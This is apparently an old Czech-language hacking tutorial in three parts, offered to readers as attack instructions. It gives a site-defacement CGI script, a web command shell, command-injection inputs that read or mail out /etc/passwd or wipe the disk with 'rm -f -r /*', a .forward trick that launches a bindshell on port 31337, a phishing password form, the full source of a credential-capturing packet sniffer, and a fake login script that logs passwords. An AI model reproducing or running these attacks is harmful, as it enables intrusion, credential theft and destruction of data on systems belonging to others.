Úvod do hackingu

Program z názvem WinNuke dokáže dálkově restartovat server běžící pod win NT.
Ovládání programu je ďábelsky jednoduché. Stačí zadat adresu počítače běžící pod
win NT. Účinek je rychlý a smrtící. Během několika sekund se Win NT zřítí,
veškeré data v paměti RAM jsou zničena a celý počítač se restartuje. Tyto
restarty se opakují stále pokud nezasáhne administrátor. Tento problém řeší
Service Pack 3. Rychle ho aplikujte.

 

 Asi nejznámější chybou v MS IIS je to že stačí napsat pekelně dlouhé URL (mezi
4kB až 8kB) a server se zablokuje. To jsou služby www, gopher a FTP.

 

 Jak najít díru v Index serveru? Jedna z komponent Hit Counter funguje opravdu
zvláštně. Umužňuje číst soubory které jinak číst nejdou. Pokud se jedná o skript
ASP, který může obsahovat heslo k serveru SQL je útočník v půli cesty do průniku
do systému. Získat ho lze pomocí skriptů které jsou nainstalovány jako příklady:
http://jmeno_serveru/samples/search/queryhit.htm. S omezením vyhledávání pouze
na soubory ASP: "#filename=*.asp".

 

 Další tip. Red Buttom je program, který využívá portů 137, 138 a 139 na
počítači s nainstalovanými Win NT. Tento program čte registry, umožňuje zjistit
jména všech zdílených (i skrytých) zdrojů na serveru a vytvoří nový sdílený
zdroj přístupný skupině everyone, tj. opravdu kohokoli. Lze takto získat soubory
uložené na lokálním disku v četně šifrovaných hesel. Další možnosti této utility
jsou odborníkovi jasné.

 

 Jak vytížit CPU na 100%? Jde o chybu v RPC. Pokud se někdo přihlásí na server
NT telnetem na porty 53, 135 nebo 1031, napíše asi 10 znaků, stiskne enter a
ukončí telnet, Windows NT najednou začnou mít tolik "práce", že zatížení CPU
stoupne na 100%. Pokud na systému běží i DNS server, lze napadnout i tuto službu
a vyřadit ji z činnosti.

 

 Starším předchůdcem chyby v MS Index Serveru je chyba v MS IIS ve spojení s
ASP (active server pages). ASP jsou programy která interpretuje www server.
Kromě vlastního kódu mohou obsahovat i hesla k serveru SQL apod. Typická cesta k
nějakému souboru ASP je např. http://server_name/default. Skript na této stránce
je interpretován MS IIS a výsledek je předán vašemu prohlížeči. Pokud toto URL
trochu modifikujete, např. na http://server_name/default.asp. (všimněte si tečky
na konci!), je místo toho zobrazen samotný program. Kdokoli ho můze stáhnout,
přečíst.

No tak to by snad stačilo k Windows NT. Teť se podíváme na UNIX (LINUX). Tady je
situace jednoduchá. Tento stařec již má všechny mouchy vychytané. Není to
jednoduché až téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit
WWW stránku? Je to vůbec možné? Při troše štěstí ano.

Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a speciální
CGI script. V UNIXU bývají v adresáři /home/ftp/incoming/ nastavena přístupová
práva na rwxrwxrwx to je právo zapisu všem. Do tohoto adresáře pomocí FTP
přeneseme tyto dva soubory. To je index.html a např. hack.cgi. Důležitý je
program který je v cgi scriptu, tady je:

#!/bin/sh
echo ´Content-Type: text/html´
echo
cp /home/ftp/incoming/index.html /www/htdocs/

Jednoduché, že? Ale má to problém, musíme dostat nějakým způsobem tento cgi
script do adresáře, kde je povoleno provádění CGI scriptů, nejčastěji cgi-bin.
Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias. Jinak aby bylo
jasno je řeč o WWW serveru Apache kterých pracuje pod UNIXem vetšina. Ten je
reprezentován souborem httpd. Podaří-li se nám dostat tento cgi script do tohoto
adresáře, stačí jenom napsat ve vašem prohlížeči URL k tomuto cgi scriptu a
stisknout enter. Ale to ještě není vše. WWW server musí pracovat jako root. To
nastavuje správce opět v souboru httpd.conf. A kořen dokumentů musí být umístněn
v adresáři /www/htdocs/. Ještě jeden tip. Instalujeme-li server Apache tak
vytvoří automaticky adresář cgi-bin ve kterém je standartně umístněn skript z
názvem test-cgi. Tento skript by měl správce serveru odstanit, protože poskutuje
důležité informace případnému útočníkovy. Je-li tento skript přítomen stačí
napsat toto URL:
http://jmeno_serveru/cgi-bin/test-cgi. Poté se na obrazovce prohlížeče objevý
zajímavé informace o serveru Apache.

Další možností je odhalit bezpečnostní díru v CGI skriptu. Jak na to? Objeví-li
se nám na na řádku např. URL http://www.firma.cz/cgi-bin/jmeno.cgi? můžeme na
konec přidat toto: http://www.firma.cz/cgi-bin/jmeno.cgi?;who. Středník je
nebezpečný znak a může způsobit při špatně napsaném cgi scriptu to, že se
provede příkaz zapsaný ba konci řádku. V tomto případě příkaz who. Ale může to
být třeba cat /etc/passwd.

Dále bych se chtěl ještě zmínit o CGI scriptu, který umožňuje vzdálené zadávání
příkazů operačnímu systému UNIX (LINUX) přes WWW prohlížeč. Používá značky
ISINDEX. Opět tento CGI script musí být umístněn v adresáři, kde je povoleno
spouštění CGI scriptů. Většinou CGI-BIN.

Zde je:

#!/bin/sh
echo "Content-type: text/html"
echo
echo ´´
echo ´´
echo ´´
echo ´

This is a searchable index. Enter search keywords:

´
$1

Tento CGI script, když se nám podaří propašovat nějakým způsobem do adresáře
CGI-BIN a napíšeme k němu ve svém prohlížeči cestu, tak nám nábídne textové
pole, do kterého můžeme zadávat příkazy, např. ls; ps; cat ale třeba i halt
pracuje-li www server Apache jako root. Co tento příkaz způsobí je zřejmé z jeho
názvu. Jinak jestli hacker potřebuje zjistit jaký www server používá vzdálený
systém, žádný problém. Použijeme telnet, ale ne ten co je ve Windows 95. Musíme
použít takový, který umožňuje přípojování na různé porty. Nejlepší je samozřejmě
interaktivní telnet z linuxu.

Takže se připojíme na port 80:

% telnet 193.179.4.2 80

Poté zadejte

GET / announclist.html HTTP/1.0

Měli by jste dostat odpověď velmi rozsáhlou.
IP adresu jsem si vymyslel ale je to adresa http://www.hrad.cz (aktuální).

Když jsem u telnetu, tak to je samozřejmě standartní hackerský program. Lze se
připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a
pokoušet se proniknout do systému. Nejznámnější je samozřejmě SMTP server, který
pracuje na portu 25, kde naslouchá. Jedná se o program sendmail, spuštěný jako
démon. Tento program bývá na některých systémech kompilován se vzdáleným ladícím
přístupem.

Zadáme:

% telnet 193.179.4.2 25
Trying 193.179.4.2 ....
Connected to 193.179.4.2
Escape character is ´^]´.
220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56
EDT

Pak zadáme příkaz:

debug

Jestliže budete dotázani na heslo, máte naději.

Když jsme u elektronické pošty je potřeba se na ní podívat trochu více. Posláním
vhodného e-mailu nezkušenému uživateli lze získat jeho přístupová hesla. Např.
tento html dokument odešle na váš email přístupové heslo vzdáleného uživatele.
Samozřejmě pokud to vzdálený uživatel neprokoukne.

Změna hesla. Po určité době je nutné změnit heslo. Zadejte nejprve staré a pak
nové heslo. Hesla se nevypisují z důvodu jejich utajení.

Staré heslo:

Nové heslo:


Pomocí elektronické pošty lze i Internet zahltit. Při psaní emailové adresy lze
přikázat kudy má dopis jít. Používá se následující formát:

uživatel%doména1@doména2

Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2". Ten se podívá na
uživatelskou část a uvidí v ní %. Odtrhne z adresy zavináč a vše za ním,
poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu. Díku
tomuto mechanizmu můžeme diktovat kudy má dopis projít. Domén můžeme uvést
veliké množství. Jestliže se domluví více hackerů a sítí se přenáší velké objemy
dat, např. binární soubory o velikosti asi 500KB přes obrovské množství serverů,
lze celou Internetovou doménu (např.cz), zcela zablokovat na mnoho hodin.
Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger. Ta
někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací o
uživatelích na systému.
Jinak je zřejmé, že jestliže se vám podáří získat přístup do shelu jako root,
tak je vše jasné. A jestliže navíc je povoleno přihlášení uživatele root jak
telnetem, tak přes FTP, tak není co řešit ale taková situace nastane jenom zřídka.

Zde je seznam služeb standartně spuštěných na systému UNIX (LINUX):

Služba Port

ftp-data 20
ftp 21
telnet 23
SMTP 25
Whois 43
Gopher 70
Finger 79
http 80
pop-3 110

Na tyto porty je možno se připojovat telnetem a zkoušet.

Hodně práce a času nám ušetří různé hackerské nástroje, které jsou dostupné
např. na http://www.security.sk nebo na http://www.rootshell.com.

Dále mužeme zkoušet pracujeme-li na LINUXU tzv. r příkazy, jedná se o rlogin,
rcp, rsh.



Příklad:

%rlogin 193.179.4.2

a uvidíme, co se bude dít.

%rcp 193.179.4.2: /etc/passwd /home/

Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém.

%rsh 193.179.4.2 ps -aux

Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server na
vzdáleném systému.

Jenom tak na okraj, jestliže chcete zjistit IP adresu vzdáleného systému, stačí
použít program ping, např. je i ve win 95:

Příklad:

ping www.hrad.cz

Pinging from 193.179.4.2:bytes=32 time 60ms TTL64

Další možnost jak napadnout vzdálený systém je program tftp.

Napíšem:

$ tftp 193.179.4.2
tftp> get /etc/passwd

Error code 1: File not found
tftp> quit

Jestliže dostaneme takovouto odpověď , máme smůlu. Služba je zakázaná. Vraťme se
zpět k fenoménu dneška a to je WWW. Jak známo vetšina internetových serverů
pracuje pod systémem UNIX (LINUX). A ty používají hlavně www server Apache.
Zavádějící historický pokus o zabezpečení bylo to, že k portům menším než 1024
se smí připojit jen superuživatel root. Jak známo tak httpd naslouchá na portu
80. To znamená, že alespoň jednou musí být server spuštěn jako root. A tady je
naše šance. Může se stát, že administrátor spustí i kopie serveru jako root
(nejnovejší verze Apache to již neumožňuje). WWW server nám pošle formulář v
HTML skriptu. Náš počítač formulář interpretuje a zobrazí ho na obrazovce. My
jej vyplníme a poté stiskneme tlačítko Submit. Náš počítač pak pošle formulář
zpět na server, kde se vyvolá URL, k jehož konci je připojen obsah formuláře.
Server je nastaven tak, aby toto URL spouštělo script přidávající obsah
formuláře do souboru.
Část tohoto skriptu může vypadat takto:

echo "You have sent the following message: $MESSAGE"

Smyslem je, aby nám server poslal potvrzující hlášení, ve kterém se vše, co jsme
napsali, cituje v řetězci $MESSAGE.

Pokud my budeme vychytralý, napíšeme jako obsah $MESSAGE následující text:

´mail 193.179.4.2 /etc/passwd´

Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače
příkazů, může tento text mít natolik alarmující důsledek jako odeslání super
tajného hesla k nám. Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme
napsat:

´rm -f -r /*´

Ještě jedna finta. Jedná se o velmi starou fintu se souborem .forward. Jetliže
nemáte přístup do shellu ale jenom přes ftp, pak je to přímo idealní situace pro
použití souboru .forward. Stačí uploadovat soubor .forward do domácího adresáře
.Sendmail, ten totiž standartně umožňuje execování souborů. Vyrobíme nasledující
.forward soubor:

$ cat .forward
|/tmp/scriptik
$

Tento soubor je třeba uploadovat do domácího adresáře. Pak si vytvoříme soubor
"scriptik":
$ cat scriptik
/tmp/bindshell &
$

Bindshell je program, který hodí shell na port 31337. Aby se faily mohli exnout,
musí být executable. Mužeme to udělat takto:

$ ftp -nv
ftp> o server.provider.cz
Conected to server.provider.cz
ftp> user login heslo
ftp> cd /tmp
ftp> quote site chmod 755 bindshell
ftp> quote site chmod 755 scriptik
ftp> close

Potom stačí na toto konto poslat nějaký mail. Sendmail spustí /tmp/scriptik a
ten spustí bindshell. Pak se telnetem připojíme na port 31337, např. takto:

$ telnet 193.179.4.2 31337

A dostanete se do shellu. Pak můžete zadat tento příkaz:

cat /etc/passwd > /home/ftp/incoming/ukradena_hesla

Tímto se obsah tajného souboru passwd přenese do souboru ukradena_hesla v
adresáři incoming. Pak na soubor passwd pustíme program John the Ripper a máme
hesel dostatek. Možná i účet roota. Ještě se může stát, že anonymní adresář má
nastaveny práva na 777. Pak by to byl čistý vnější průnik.

Konec první části.


II. ČÁST DRUHÁ
ÚTOK NA FIREWALL (FW)

Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW. První úroveň spočívá
v pokusu o nenápadné získání informací, které mohou posloužit v další vlně
útoku. Druhá úroveň útoku představuje již patrný bezprostřední sběr informací
ale ještě ne aktivní pokus o průnik do sítě. Třetí úroveň útoku se pokouší
zdolat FW a narušit za ním lokalizované klienty, přičemž toto úsilí je
inicializováno z klienta vně napadené sítě. Čtvrtá úroveň útoku pak představuje
pokus narušit bezpečnostní software FW, jeho konfiguraci nebo operační systém z
klienta uvnitř attackované sítě.

1. První úroveň útoku
Jde o pokus získat informace o cílové síti, napadení z vnějších zdrojů tak, aby
se o tom cílová organizace nedozvěděla. Prvním krokem je zkontrolovat vstup do
databáze na Network Information Centre NIC). Použijeme telnet, do
rs.internic.net a pak zadáme příkaz whois. To nám poskytne informace o adresách
a lokalitách. Bude nám to také naznačovat složitost cílových skupin sítě.
Jestliže administrativní kontakt je shodný se zónou a technickým kontaktem, pak
to může znamenat, že síťové skupiny mohou být v Internetu malé a relativně nové.
Jestliže cílové organizace nemají svůj vlastní nameserver, pak je organizace asi
malá a relativně krátkou dobu připojená do Internetu. Příkaz whois vylistuje
primární a sekundární nameservery spolu s doménovým jménem. Poznámka: lze použít
i www přes http://rs.internic.net. Dalším krokem v této první úrovni je použití
příkazu nslookup, abychom získali maximum informací o cílové organizaci.
Připojíme se raději k sekundárnímu nameserveru než k primárnímu a pokuste se o
tzv. zóne transfer. Jestliže je zóne transfer povolen, budeme mít velice cenné
informace o vnitřní cílové síti. Tak lze zjistit počet stanic a topologii cílové
sítě. Zóne transwer je však ve většině sítí zakázán. Příkazem nslookup můžeme
zjistit spoustu dalších informací, např. po použití příkazu set type=MX můžeme
zjistit konfiguraci pošty a IP adresy poštovní serverů atd. Posledním krokem
této úrovně je hledání veřejně přístupných informací o cílové organizaci. Velkým
zdrojem informací mohou být výroční zprávy a obchodní publikace, spojení s
jinými organizacemi, atd. Tyto informace mohou být užitečné, ze kterých kanálů
útočit.

2. Druhá úroveň útoku
Sondování již může být objeveno cílovou organizací. Prvním krokem je pokus o
přenos DNS zóny z primárního name serveru, ačkoli většina organizací přenos zóny
zakazuje, jak bylo řečeno výše. Ten kdo na FW útočí, musí v dalším kroku
vyhledat sítě a v nich konkrétní uzly. Zabere to hodně času, zvlášť pokud je síť
za FW rozhlehlá. Tento krok lze i při nedostatku času přeskočit. Pro vyhledávání
existují dvě metody. PING, POKUS PŘIPOJIT SE NA TCP PORT 25. Směrovače mohou
ztratit ICMP pakety, proto je žádoucí, abychom posílali nejméně tři pakety na
každou adresu. Osobně doporučuji pět paketů. Připojení na TCP port je pomalejší,
protože spojení čeká na time-out, jestliže je adresa nedostupná. Každý uzel,
který odpoví, je pak potenciálním bodem vstupu do vnitřní sítě. Tímto způsobem
si vytvoříme seznam potenciálních uzlů (cílů) a měli bychom zjistit, jaké služby
na nich běží. Předpokládá to uskutečnění připojení na každý TCP port na každé
cílové stanici.


3. Třetí úroveň útok a proniknutí
Tato metodologie předpokládá, že v tomto okamžiku máme k dispozici seznam uzlů a
služeb vnitřní sítě z FW, teprve potom můžeme zahájit útok. Existují dva druhy
útoků: získání přístupu do shellu FW (dokonce se můžeme stát správci systému)
nebo použití vzdálených služeb, které jsou k dispozici prostřednictvím FW, a
které změní kritické konfigurační soubory nebo modifikují služby, které běží na
FW. Na FW často běží služba (např. mail démon), která není dostatečně
zabezpečená. Tyto služby se stanou prvním cílem útoku. Mnoho FW má slabinu v
syslogd, jiné dovolují spojení telnetem z adres IP externích sítí. Ještě lepší
je když na FW je velký počet neaktivních účtů, které měli být dávno vymazány.
Dokonce i když je FW odolný proti proniknutí z externích lokalit, vnitřní uzly a
uzly v demilitarizované zóně (DMZ) jsou často přístupné z vnější sítě. Už takto
kvalifikované útoky mohou způsobit nefunkčnost napadené sítě. A to nám přeci
jde. Poté co jsme uskutečnili veškeré útoky proti FW, je nutno obrátit pozornost
na uzly v cílové síti. Zkusíme telnet popř. rlogin, pokusíme se získat přístup
do shellu. Další možností získání přístupu je využít slabiny v NFS, NIS a
sendmailu. Velkou službu nám udělají hackerské nástroje, které jsou dostupné na
mnoha FTP serverech. Proniknutí do jednoho uzlu interní sítě akceleruje proces
proniknutí do celé vnitřní sítě. Je tomu tak proto, že uzly v TCP/IP nemají mezi
sebou zabezpečené vztahy.

4. Modifikace FW
Jde o napadení FW s cílem modifikovat FW, povolit volný přístup a jednoduchý
přístup do vnitřní sítě. nainstalujeme program "sniffer" do segmentu sítě, kde
je FW, který čeká na přihlášení administrátora.



Některé hackerské programy:

SATAN - program pro pátrání po bezpečnostních chybách ve www serverech
CRACK - louskač hesel
ROOTKIT - nástroj pro privilegovaný přístup do systému UNIX (LINUX)
TAP – analyzátor packetů
WINNUKE - dálkově restartuje www servery pod Win NT

Tak to by snad na ty firevaly stačilo. Na konec uvádím program sniffer o kterém
jsem se zmínil výše. Je napsán v jazyce C.
Ještě nakonec této části uvádím hackerské www servery kde lze získat různé
hackerské utility.

Hackerské adresy:

http://www.digicrime.com
http://fishwrap.mit.edu/Hacks/misc/gallery_menu.html
http://nmrc.org/
http://jya.com/mondex-hack.htm
http://www.stanford.edu/~llurch/
http://www.ioc.ee/atsc/ - čipové karty
http://www.klaphek.nl - hackerský časopis
http://www.cybersnot.com/iebug.html/ - chyba v exploreru
http://www.ft.uni-erlagen.de/~mskuhn/tamper/html - čipové karty
Telnet://rs.internic.net - (příkaz WHOIS)
http://www.bellcore.com/SMART/index.html - čipové karty
http://www.cs.technion.ac.il/~biham/ - čipové karty
http://www.security.sk – hackerské nastroje
http://www.rootshell.com – hackerské nastroje
http://www.hysteria.sk – slovenský server
http://hack.box.sk – slovenský server
http://www.fc.net/phrack/ - el. časopis Phrack
http://www.phrack.com/ - el. časopis Phrack
http://www.2600.com/hacked_pages - el. časopis Phrack
http://www.hack.sk - satelit



PROGRAM SNIFFER:

/*
LinSniffer 0.03 [BETA]
Mike Edulla
medulla@infosoc.com
*/


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include


int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".s"

int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}

int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, " ----- [CAPLEN Exceeded] ");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, " ----- [Timed Out] ");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, " ----- [RST] ");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, " ----- [FIN] ");
clear_victim();
return 0;
}
return 1;
}


int print_header(void)
{
fprintf(fp, " ");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d] ", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
int i=0;
int t=0;

victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, " "); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, " ");}
}
}


main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log ");exit(0);}
clear_victim();
for(;Wink
{
read_tcp(s);
if(victim.active != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}

char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;

i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}

void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}

void cleanup(int sig)
{
fprintf(fp, "Exiting... ");
close(s);
fclose(fp);
exit(0);
}


Konec 2. časti


III. ČÁST TŘETÍ
Technologie a postupy největšího hakera všech dob, Němce Markuse Hesse

Psal se rok 1988, když Makrkus Hess pronikal do Milnetu (předchudce Internetu) a
kradl s tamních UNIXů informace a prodával je za tisíce marek KGB. Netušil ale,
že ho sledují, dokonce tak dokonale, že monitorovali každý jeho úder na
klávesnici a tiskárně. V této době jěště systém UNIX měl tolik chyb, že to pro
odborníka jeho kalibru nebyl problém. Pro průniky používal terminálového
klienta, který podporoval protokol telnet. Z Německa se přes družicové spoje
připojoval na vojenské počítače se systémem UNIX. Zde se dostával do systému
pomocí různých vyhrazených hesel jako např. SYSTEM, MANAGER, FIELID, SERVICE,
USER aj. Nebo dokonce systém hesla vůbec nepoužíval. Pak pomocí specialního
programu, kterým nahradil program atrun v UNIXU. Progran atrun je specialní
program, který se spouští každých 5 minut a provádí kontrolu celého systému.
Tento program pracuje z nejvyšší prioritou. A právě tento program nahradil svým
vlastním programem, který se za 5 minut spustil a způsobil to, že se z
obyčejného uživatele stal superuživatel. K tomu, aby mohl jako běžný uživatel
zkopírovat tento svůj program do systémové oblasti, kam normálně nemůže, využil
chyby v editoru GNU-emacs. Tento editor totiž umožňuje i běžnému uživateli
kopírovat do systémových oblastí, kam by to normálním uživatelům jít nemělo.
Nakonec ho ale chytili při činu.

Příklad programu, který používal ke kradení hesel:

echo -n "Vítejte v počítači LBL UNIX-4"
echo -n "Prosím přihlašte se"
echo -n "LOGIN:"
read account name
echo -n "Uveďte své přístupové heslo:"
(stty -echo;
read password;
stty -echo;
echo $account_name $password >> /tmp/ .pub)
echo "Lituji, zkuste to znovu."